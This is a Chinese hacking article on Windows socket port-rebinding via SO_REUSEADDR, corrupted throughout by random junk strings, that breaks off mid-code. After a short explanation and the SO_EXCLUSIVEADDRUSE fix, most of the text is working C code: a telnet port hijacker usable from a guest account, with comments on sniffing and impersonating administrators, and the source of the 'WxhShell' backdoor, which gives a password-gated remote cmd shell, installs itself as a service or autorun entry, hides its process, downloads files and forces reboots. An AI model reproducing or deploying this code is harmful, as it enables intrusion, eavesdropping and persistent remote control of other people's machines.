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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u"*J[M~ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @Jkui %Fs*#S saddr.sin_family = AF_INET; K?$9N}+ a^%8QJW saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^dheJ]n=k [y_yPOv bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r^fxyN2V h\/^Aa0 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /L)?> tg qwL0~I 这意味着什么?意味着可以进行如下的攻击: Nz3zsP$ sWp{Y. 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 f%vHx, =_K%$y* 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IES41y< _'H2>V_ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^6ExW>K PG\\V$}A( 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 'uws !}z%#$ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2;dM:FHLhO 0T7M_G'5Q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u![4=w FP.(E9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <GSQ2bX[ ww-XMz h #include JqL<$mSep #include ]lymY _ > #include &uv>'S#% #include :yd=No@ DWORD WINAPI ClientThread(LPVOID lpParam); 5wT',U"+ int main() .@4Q kG/ { *U( 1iv0n WORD wVersionRequested; j7QBU DWORD ret; ;%v%K+}r WSADATA wsaData; 9vB9k@9 BOOL val; LBW.*PHW SOCKADDR_IN saddr; iSnIBs9\ SOCKADDR_IN scaddr; ^nG1/} int err;
=~,$V<+c
SOCKET s; %{N>c:2I$ SOCKET sc; Rh!L'?C int caddsize; emGV]A%nss HANDLE mt; ;:v]NZtc DWORD tid; Q,[rrG;?@ wVersionRequested = MAKEWORD( 2, 2 ); }~7H2d);- err = WSAStartup( wVersionRequested, &wsaData ); R
tXF if ( err != 0 ) { .q
AQPL printf("error!WSAStartup failed!\n"); ~,(0h:8 return -1; 113Z@F } Rh wt< saddr.sin_family = AF_INET; d)`nxnbMeM \9dz&H //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 YR$tPe .d<~a1k saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P58\+9d_ saddr.sin_port = htons(23); jrDz7AfA if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rU/-Wq`B { 4v rm&k printf("error!socket failed!\n"); #R~">g:w return -1; g_3rEvf"4 } O JZ!|J8? val = TRUE; pkrl@jv > //SO_REUSEADDR选项就是可以实现端口重绑定的 e_fg s>o`( if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) },?-$eyX { 7H8GkuO printf("error!setsockopt failed!\n"); 44Seq return -1; Y!K^-Y} } 9+WY@du+ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *Y|lO //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 34&u]4=L) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 V Z4nAG mafAC73 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) GV `idFd { b AA'=z< ret=GetLastError(); d +*T@k]>M printf("error!bind failed!\n"); 17MN8SfQ return -1; )W_ Y3M, } `R4W4h'I listen(s,2); z/c'Z#w% while(1) Y{x[N}h { *~\;&G29Y caddsize = sizeof(scaddr); @LwVmR |{ //接受连接请求 %8bFQNd sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~FK+bF?% if(sc!=INVALID_SOCKET) rRF+\cP?. { $g}/T_26 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); LbtlcpF*~5 if(mt==NULL) 1Ud
t9$~T { YyX^lL_ printf("Thread Creat Failed!\n"); brpN>\ break; [A.eVuV;+ } Rx_,J%0Fq } QjW~6Z.tI CloseHandle(mt); *YiD B?Si } H4K(SGx closesocket(s); m \R@.jkZ WSACleanup(); (o6A?37i return 0; K4K3<Pg } -7C=- \]
DWORD WINAPI ClientThread(LPVOID lpParam) (AyRs7Dkn { _zVbqRHlw SOCKET ss = (SOCKET)lpParam; LiHXWi{s SOCKET sc; r`mzsO-' unsigned char buf[4096]; 3V8j>&
SOCKADDR_IN saddr; ]8q%bsl+ long num; ]ci|$@V DWORD val; (<5'ceF)X DWORD ret; B8BY3~}] //如果是隐藏端口应用的话,可以在此处加一些判断 ]% ZjD //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 $AL|d[[T[ saddr.sin_family = AF_INET; )nbyV a saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z;dwn~Tw saddr.sin_port = htons(23); rsq'60 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H7cRWB { NZi'eZ{^` printf("error!socket failed!\n"); \a~;8):q=i return -1; XH_qA[=c] } Cbf,X[u val = 100; :">~(Rd ZH if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *I;Mp { s>"WQ|;6 ret = GetLastError(); \sXmMc return -1; u+, jAkr } O7L6Htya if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XQJV.SVS { }gi`?58J6 ret = GetLastError(); @Z1?t%1 return -1; ua. 6?W) } I{X@<o} if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \C'I l
w { 16d{IGMz printf("error!socket connect failed!\n"); +MZ2e^\F closesocket(sc); Hf E;$ closesocket(ss); S+E3;' H return -1; .jG.90 } 8)2u@sx% while(1) ES:p^/ =* { *^&iw$Qx3 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 36D,el In //如果是嗅探内容的话,可以再此处进行内容分析和记录 r:S5x. P2 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k+>p!1 num = recv(ss,buf,4096,0); U]R|ej if(num>0)
_ jM6ej< send(sc,buf,num,0); fSb@7L else if(num==0) u{y5'cJ{ break; {3yws4 num = recv(sc,buf,4096,0); RWEgUDX^/ if(num>0) :fMM-?s] send(ss,buf,num,0); W0C$*oe!_i else if(num==0) tI(t%~>^ break; r%?}5"* } jl?y} closesocket(ss); =K&q;;h closesocket(sc); M. UUA?d<' return 0 ; vA $BBXX } D\i8rqU/l jind!@}! ,hcBiL/ ========================================================== ?)ZLxLV:: ,\">o vV33 下边附上一个代码,,WXhSHELL k?_$h<Y !&<Wc^PG ========================================================== F^[Rwzv>c Ub-k<]yZ #include "stdafx.h" 9R<J$e ,HjHt\!~< #include <stdio.h> /)HEx&SQmZ #include <string.h> ^SES')x #include <windows.h> vN[m5)aT #include <winsock2.h> @x\gk5 #include <winsvc.h> (4/`@;[ #include <urlmon.h> 9=;g4I 9H Bx[2& #pragma comment (lib, "Ws2_32.lib") k@X
As #pragma comment (lib, "urlmon.lib") [O =)FiY- Ql!6I ( #define MAX_USER 100 // 最大客户端连接数 eXtF[0f #define BUF_SOCK 200 // sock buffer s</ktPtu #define KEY_BUFF 255 // 输入 buffer iS^^Z ZyR (5\d[||9g #define REBOOT 0 // 重启 /-} p7AM #define SHUTDOWN 1 // 关机 /:];2P6#X q.Aw!]:! #define DEF_PORT 5000 // 监听端口 Nl>b'G96 7B> cmi #define REG_LEN 16 // 注册表键长度 pLFL6\{g #define SVC_LEN 80 // NT服务名长度 9hi(P*%q |kRx[UL // 从dll定义API S}oF7;'Ga typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r_2VExk typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~8qFM typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7.=s1~p typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "B{xC}Tw zK]%qv] // wxhshell配置信息 +vY`?k` struct WSCFG { jYssz4)tp int ws_port; // 监听端口 F_
lj>;}a5 char ws_passstr[REG_LEN]; // 口令 U8 @*I>vA int ws_autoins; // 安装标记, 1=yes 0=no tw^.(m5d char ws_regname[REG_LEN]; // 注册表键名 A-NC,3 char ws_svcname[REG_LEN]; // 服务名 \y+F!;IxL char ws_svcdisp[SVC_LEN]; // 服务显示名 BB}iBf I' char ws_svcdesc[SVC_LEN]; // 服务描述信息 :=fHPT char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2tTV5,(1 int ws_downexe; // 下载执行标记, 1=yes 0=no yvnrZ&x: char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" >WG91b<Xq char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +]2~@=<@ o]k]pNO }; 2H0q\zZ "VhrsVT // default Wxhshell configuration z[I/ AORl struct WSCFG wscfg={DEF_PORT, ,}$x'8v "xuhuanlingzhe", 5Ddyb% 1, `Y9}5p "Wxhshell", |r!Qhb.! "Wxhshell", ;C@^wI "WxhShell Service", .ceU @^ "Wrsky Windows CmdShell Service", Ptxc9~k "Please Input Your Password: ", P<oD*C 1, &Fr68HNmj " http://www.wrsky.com/wxhshell.exe", fXR_)d "Wxhshell.exe" )=y6s^} }; |Szr=[ ~.=HN}E // 消息定义模块 rY+1s^F char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |0Ug~jKU char *msg_ws_prompt="\n\r? for help\n\r#>"; 7o%|R2mL} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; _z6u^#Si char *msg_ws_ext="\n\rExit."; =*G'.D /* char *msg_ws_end="\n\rQuit."; <{~UKi char *msg_ws_boot="\n\rReboot..."; ;&:Et char *msg_ws_poff="\n\rShutdown..."; >Qu^{o char *msg_ws_down="\n\rSave to "; 6aK2{-+ tWy<9TF char *msg_ws_err="\n\rErr!"; 'cCj@bZ9X char *msg_ws_ok="\n\rOK!"; [_B&7#3>7 ]fmf X char ExeFile[MAX_PATH]; ?d'9TOlD int nUser = 0; ~ZIRCTQ" HANDLE handles[MAX_USER]; Q/SC7R&"t int OsIsNt; 6R,b 8 YuuG:Kk SERVICE_STATUS serviceStatus; "+C\f) SERVICE_STATUS_HANDLE hServiceStatusHandle; y^fU_L?p sX?7`n1U // 函数声明 UjK&`a;V int Install(void); LU=)\U@Q int Uninstall(void); uw&,pq int DownloadFile(char *sURL, SOCKET wsh); #GJh:#tt^ int Boot(int flag); 0X6o void HideProc(void); Oc=PJf%D# int GetOsVer(void); @_Oe`j^ int Wxhshell(SOCKET wsl); &xT~;R^ void TalkWithClient(void *cs); c.> (/ int CmdShell(SOCKET sock); *g}&&$b0 int StartFromService(void); fN>|X\- int StartWxhshell(LPSTR lpCmdLine); s$G8`$+i1 y`dzo`f VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1Ac1CsK* VOID WINAPI NTServiceHandler( DWORD fdwControl ); sM_e_e <;"=ah7A // 数据结构和表定义 XOFaS '. SERVICE_TABLE_ENTRY DispatchTable[] = -JQg{A { @=1``z# {wscfg.ws_svcname, NTServiceMain}, W.<<azi {NULL, NULL} bME3" e{O
}; N#ObxOE6T" .`RC,R`C // 自我安装 DgP%Q int Install(void) ZJm^znpw6 { xb;mm9H
char svExeFile[MAX_PATH]; |g!#
\ HKEY key; e8v=n@0 strcpy(svExeFile,ExeFile); U]$3NIe }A^,y // 如果是win9x系统,修改注册表设为自启动 TR20{8" if(!OsIsNt) { _J!mhUA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c,ek]dTj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K@lV P!z RegCloseKey(key);
(La if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '_Op rx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tsD^8~
t|h RegCloseKey(key); I-"{m/PEdg return 0; B:.rp.1 } YJ$
=`lIM } W@=ilW3RD } //|Vj | = else { .|-y+9IP ^Quy64M // 如果是NT以上系统,安装为系统服务 xcA:Q`c.{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ] fB{ if (schSCManager!=0) O/nS,Ux { ks$G6WC SC_HANDLE schService = CreateService m6D4J=59 ( "N_?yA#(j schSCManager, <Z;BB)I&C` wscfg.ws_svcname, H_^c K wscfg.ws_svcdisp, d\M
!o*U SERVICE_ALL_ACCESS, 1\uS~RR SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J)o%83// SERVICE_AUTO_START, Z%R^;8 !~ SERVICE_ERROR_NORMAL, P9vROzXK svExeFile, cALs;)z NULL, rv:O|wZ NULL, KMZ`Wn= NULL, (n\
cs$ NULL, WW=7QCi NULL tP-c>|cz ); kTV D4Z= if (schService!=0) 9 pn1d. { ;f
Gi5=- CloseServiceHandle(schService); `u-Y 5mY CloseServiceHandle(schSCManager); >B0S5:S$W strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `Ec+i strcat(svExeFile,wscfg.ws_svcname); 65v'/m!ys if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {YFru6$ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {;U:0BPI3 RegCloseKey(key); -/X-.#}- return 0; UuGv= yC^6 } S%2qB;uw } x/~M=][tN CloseServiceHandle(schSCManager); vq}V0-
< } 4)_ [)MZ\j } E2MpMR {+;8dtZ)x return 1; A:f+x|[ } @u^Ib33 j*"s~8u4 // 自我卸载 JLhp25{x int Uninstall(void) sdLFBiR { ctGjqHo HKEY key; 15COwc*k LHps2, if(!OsIsNt) { 8'y|cF%U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4J s>yP RegDeleteValue(key,wscfg.ws_regname); JsV#: RegCloseKey(key); +] #>6/2q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (&S v$L@ RegDeleteValue(key,wscfg.ws_regname); &m` RegCloseKey(key); Xp'KQ1w) return 0; ,Gfnf%H\8> } N`M5`=. } *;Vq0a! } T*oH tpFj# else { M`(xAVl ?@~FT1"6G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *G9;d0 if (schSCManager!=0) 8]O|$8'" { 7cC$) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t/3veDh@ if (schService!=0) &c]x;#-y { 8)i\d` if(DeleteService(schService)!=0) { '&"7(8E}
* CloseServiceHandle(schService); '@$?A>.cj CloseServiceHandle(schSCManager); *
08LW|:, return 0; t*COzE } 0xC!d-VIJ CloseServiceHandle(schService); .8"o&%$`V } +/ #J]v- CloseServiceHandle(schSCManager); n1H*][CK } ag3T[}L
z } LE7o[<> , 7}Ri return 1; '8dqJ`Gj } KmMt:^9 8J)x>6 // 从指定url下载文件 O".#B int DownloadFile(char *sURL, SOCKET wsh) rP*?a~< { 46mu,v HRESULT hr;
"dA"N$ char seps[]= "/"; 5~\W!|j/ char *token; L|c01 char *file; mk[n3oE1 char myURL[MAX_PATH]; 77)C`]0( char myFILE[MAX_PATH]; $hA[vi\5 *QrTZ$\C strcpy(myURL,sURL); Ngg (<ZN token=strtok(myURL,seps); Cu0 /TeEM while(token!=NULL) *{XbC\j { A>X#[qx file=token; b+{yF token=strtok(NULL,seps); c^m}ep\F5L } /ZAEvdO*P " I:j a7 GetCurrentDirectory(MAX_PATH,myFILE); '06[@Cw strcat(myFILE, "\\"); ,\Cy'TSz strcat(myFILE, file); 6n>+cX>E send(wsh,myFILE,strlen(myFILE),0); kg_TXB send(wsh,"...",3,0); yM>c**9 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r|
YuHm if(hr==S_OK) ZVI.s U return 0; PyIIdTm else IuRKj8J)o return 1; XrYz[h*)! 6}[W%S]8 } gPDc6{/C< _m;Y' // 系统电源模块 M*%iMz int Boot(int flag) nL\BB& { [^aow-4z HANDLE hToken; 4O2O0\o: TOKEN_PRIVILEGES tkp; (d@lG*K s$mcIMqs if(OsIsNt) { hMi`n6m OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^ng?+X>mP LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Zsaz#z|xW tkp.PrivilegeCount = 1; VNF@)!l tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uZi]$/ic AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iQ:]1H s if(flag==REBOOT) { f\1)BZ'I if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nd-y`@z return 0; %|4Nmf$:Og } i:@00)V{, else { -(~CZ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -$t#AYKz return 0; NCBS=L: } `ez_
{ } kAU[lPt*R else { U ^[<G6<9] if(flag==REBOOT) { |_Z(}%
<o if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %b0..Zz return 0; |6$6Za]: } mI@]{K}Q% else { LY/K,6^a if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /z`LB return 0; N _Yop } sFMSH:5z } Wcw$
Zv /qEoiL### return 1; B_nim[72 } | M4_@P 9>%ti&_-jt // win9x进程隐藏模块 GVe[)R void HideProc(void) L3,p8-d9Z { Beqzw0 Z_Hc":4i HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YrFB~z.V if ( hKernel != NULL ) F:1w%#6av { Js ~_8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qf7lQovK ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `q".P]wtKN FreeLibrary(hKernel); #1+1 q{=Z< } DhYQ>Gv8U `VwZDU~6 return; i_Ab0vye } w>J|416 ):31!IC // 获取操作系统版本 ymiOtA Z int GetOsVer(void) `~F= { N\BB8<F OSVERSIONINFO winfo; a)/!ifJ; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d@JjqE[ GetVersionEx(&winfo); FQ26(. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a^>0XXr}Y return 1; fKb8)PDP else Z`Rrv$M! return 0; Nyip]VwMJ } uPQ:}zL2 B;@7 // 客户端句柄模块 fczId" int Wxhshell(SOCKET wsl) |gg6|,Bt4 { tI ~.3+F SOCKET wsh; 3o5aB1 struct sockaddr_in client; CI{? Kb DWORD myID; _ ?]bd-E pqmtN*zV while(nUser<MAX_USER) |VQ17*4ff1 { xy5&}_Y int nSize=sizeof(client); K!;Z#$iw[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UOC>H%r~M? if(wsh==INVALID_SOCKET) return 1; [W;iR_7T5 tN&4t
xB handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pX `BDYg. if(handles[nUser]==0) q' fZA; closesocket(wsh); b*&AIiT else P>j^w#$n nUser++; 6 GqR]KD } y@Z@ eK3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xp7`[. c@>Tzk%?" return 0; FL*qV"r^n } XEl-5-M" ;89 `!V O // 关闭 socket
T)?:q void CloseIt(SOCKET wsh) h fZY5+Z< { la+RK closesocket(wsh); gqJSz}' nUser--; H0r@dn ExitThread(0); I7,5ID4pn } F,5~a_GP? w+($=n~ // 客户端请求句柄 %? -E)n[ void TalkWithClient(void *cs) BJC$KmGk { $P
rji j1D 1tn SOCKET wsh=(SOCKET)cs; @K.{o' char pwd[SVC_LEN]; /enlkZx=8 char cmd[KEY_BUFF]; UEHJ?
} char chr[1]; m[n=t5~ int i,j; g9C/Oj`I wX<w)@ while (nUser < MAX_USER) { [QwEidX| )B'&XLK if(wscfg.ws_passstr) { VZF; if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n .is+2t //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a8nqzuI //ZeroMemory(pwd,KEY_BUFF); cip5 -Z@8 i=0; W cOyOv while(i<SVC_LEN) { *Cf5D6=Q 5XtIVHA@{ // 设置超时 /5M0[C E fd_set FdRead; b$FK}D5 struct timeval TimeOut; F/p/&9 FD_ZERO(&FdRead); -@bOFClE FD_SET(wsh,&FdRead); -4wr)zjfW TimeOut.tv_sec=8; lidVe]> TimeOut.tv_usec=0; m-?hHdO int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SzXR],dA if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); # `L?24% Ck1{\=t if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iepolO= pwd =chr[0]; / vgEDw if(chr[0]==0xd || chr[0]==0xa) { }Um,wY[tK pwd=0; gI~B _0x break; R|D%1@i] } *{y({J i++; R`
g'WaDk } '_ZiZ4O T8^`<gr. // 如果是非法用户,关闭 socket Ob!NC& if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &6="r} } da'1H hufpk y[&8 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ICdfak send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pTeN[Yu? (>49SOu;$\ while(1) { ~}"5KX\=# g79zzi- ZeroMemory(cmd,KEY_BUFF); Q Uy7Q$W i8w/a // 自动支持客户端 telnet标准 t]gZ^5 j=0; ?i{/iH~Sf while(j<KEY_BUFF) { p C^=?!:U if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Phq"A[4=O cmd[j]=chr[0]; CKE):kHu if(chr[0]==0xa || chr[0]==0xd) { MD9 8N{+[| cmd[j]=0; E4N/or break; DbWaF5\yD } 1VKu3 j++; "%(SLQOyy } Lm&BT)* l4bLN // 下载文件 po9f[/s'+o if(strstr(cmd,"http://")) { _.%U}U send(wsh,msg_ws_down,strlen(msg_ws_down),0); [_HY6gr if(DownloadFile(cmd,wsh)) @ /.w% send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 /vGA= else *Z8qd{.$q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0?o<cC1Z } +lplQh@RB else { sEymwpm9 YMn*i<m switch(cmd[0]) { gp+aUK~o KPjC<9sby // 帮助 2WK c;? case '?': { +R8G*2 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HT:V;?" break; 1K#%mV_ } =f?vpKq40 // 安装 *qZBq&7tb case 'i': { #HDP ha if(Install()) 0^3n#7m;K send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5[y+X|Am else (nu;o!mo9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hk
f<.U break; 3ytlD ' } ^ItL_4 // 卸载 LzTdi%u$0| case 'r': { Hp>_:2O8s if(Uninstall()) -K (>uV!? send(wsh,msg_ws_err,strlen(msg_ws_err),0); w2SN=X~# else Z'UhJu D5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~KQiNkA\|l break; S3UJ)@
E } u!-v1O^[ // 显示 wxhshell 所在路径 4L bll%[9 case 'p': { XL7||9,(h char svExeFile[MAX_PATH]; '=0l{hv@ strcpy(svExeFile,"\n\r"); []jbzVwS2 strcat(svExeFile,ExeFile); F'-,Ksn send(wsh,svExeFile,strlen(svExeFile),0); qizQt]l break; Mt4*`CxtH; } k:F{U^!p| // 重启 .?`8B9w case 'b': { m[CyvcF*u send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B.C:06E5 if(Boot(REBOOT)) d#HlO} send(wsh,msg_ws_err,strlen(msg_ws_err),0); x1h&`QUP else { R`J.vMT closesocket(wsh); |It&1fz} ExitThread(0); ,8.$!Zia } >,ABE2t5 break; [<|$If99\ } q/^?rd // 关机 Zts1BWL[ case 'd': { Y P,>vzW send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6e S~* if(Boot(SHUTDOWN)) LJ6L#es2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); mp)+wZAN& else {
nDS\2 closesocket(wsh); z=TOGP( ExitThread(0); $V !25jQ } F9"Xu-g break; ^xgqs $`7 } OIK46D6?. // 获取shell R$p(5>#\5 case 's': { c^r WS&)P CmdShell(wsh); ({zWyl closesocket(wsh); on;>iKta9 ExitThread(0); ==UYjbuU break; p~NHf\ } =W&m{F96 // 退出 ~{$c| case 'x': { M0g=gmau send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *+XiBho CloseIt(wsh); W~PMR/^i break; Yw
yMCd } rog1 // 离开 l3*GQ~m7 case 'q': { l<p<\,nV$ send(wsh,msg_ws_end,strlen(msg_ws_end),0); ##%&*vh closesocket(wsh); 5KfrkZ WSACleanup(); N/'8W9#6 exit(1);
peHjKK break; i&8|@CACb } FQ>kTm`d } ~<-mxOe } h$}PQ 1]9w9!j // 提示信息 eY-h<K)y if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R={#V8D~ } 6$0<&')Yb } OwEu S#- tJ7F.}\;C return; fC3T\@(& } `x=$n5=8 !^8X71W| // shell模块句柄 Dw.I<fns^B int CmdShell(SOCKET sock) 5F!Qn\{u{ { `*elzW STARTUPINFO si; ak-agH ZeroMemory(&si,sizeof(si)); [2YPV\= si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8;L;R~Q si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lT*@f39~g PROCESS_INFORMATION ProcessInfo; ][b|^V char cmdline[]="cmd"; ^|=P9'4Th CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LF
@_|oI return 0; PU[<sr#, } fL#r@TB-s YQ.ci4.f // 自身启动模式 :|$cG~'J int StartFromService(void) V2|By,. { {F2Rv typedef struct e&2,cQRFV { Te[v+jgLY, DWORD ExitStatus; W9pY=9]p+ DWORD PebBaseAddress; nF_q{e7 DWORD AffinityMask; AorY#oq DWORD BasePriority; L N
Fe7<y ULONG UniqueProcessId; j "'a5;Sy ULONG InheritedFromUniqueProcessId; a5R.
\a<q } PROCESS_BASIC_INFORMATION; Ep;i],} gL-kI*Ra PROCNTQSIP NtQueryInformationProcess; wP*3Hx;S o&&`_"18 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Kc95yt static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7y&6q`y E ?AD-n6 HANDLE hProcess; 0j;ZPqEf3 PROCESS_BASIC_INFORMATION pbi; w/O'&],x 6T|Z4f| HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *oeXmY if(NULL == hInst ) return 0; j}tM0Ug.U p"c6d'qe g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dq@
